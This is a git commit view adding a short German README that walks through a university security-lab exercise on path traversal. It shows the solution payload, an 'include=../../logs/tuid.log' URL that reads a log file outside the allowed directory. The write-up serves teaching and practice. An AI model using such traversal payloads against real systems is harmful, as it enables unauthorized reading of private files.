Add Path Traversal write up
This commit is contained in:
		
							parent
							
								
									10255f134e
								
							
						
					
					
						commit
						0292d10058
					
				
					 2 changed files with 23 additions and 0 deletions
				
			
		
							
								
								
									
										23
									
								
								path-traversal/README.md
									
										
									
									
									
										Normal file
									
								
							
							
						
						
									
										23
									
								
								path-traversal/README.md
									
										
									
									
									
										Normal file
									
								
							|  | @ -0,0 +1,23 @@ | |||
| # Path Traversal | ||||
| 
 | ||||
| Gegeben ist ein Minibrowser ohne URL-Leiste. | ||||
| Ziel ist das Einlesen von Dateien, | ||||
| auf die wir eigentlich keinen Zugriff haben sollen. | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| ## Lösung | ||||
| 
 | ||||
| Laut dem Hinweis sollen wir die URL im Browser anschauen: | ||||
| ``` | ||||
| https://securitylab.sit.tu-darmstadt.de/index.php/task/show/546?include=start.php | ||||
| ``` | ||||
| Die Beschreibung weist uns auf `start.php` hin: | ||||
| ``` | ||||
| [unknown]/logs/tuid.log | ||||
| [unknown]/public_html/views/start.php | ||||
| ``` | ||||
| Wir können mittels [`..` auf Elternverzeichnisse zugreifen](https://superuser.com/questions/153165/what-does-represent-while-giving-path/153175#153175): | ||||
| ``` | ||||
| https://securitylab.sit.tu-darmstadt.de/index.php/task/show/546?include=../../logs/tuid.log | ||||
| ``` | ||||
							
								
								
									
										
											BIN
										
									
								
								path-traversal/path-traversal.png
									
										
									
									
									
										Normal file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								path-traversal/path-traversal.png
									
										
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							| After Width: | Height: | Size: 40 KiB | 
		Reference in a new issue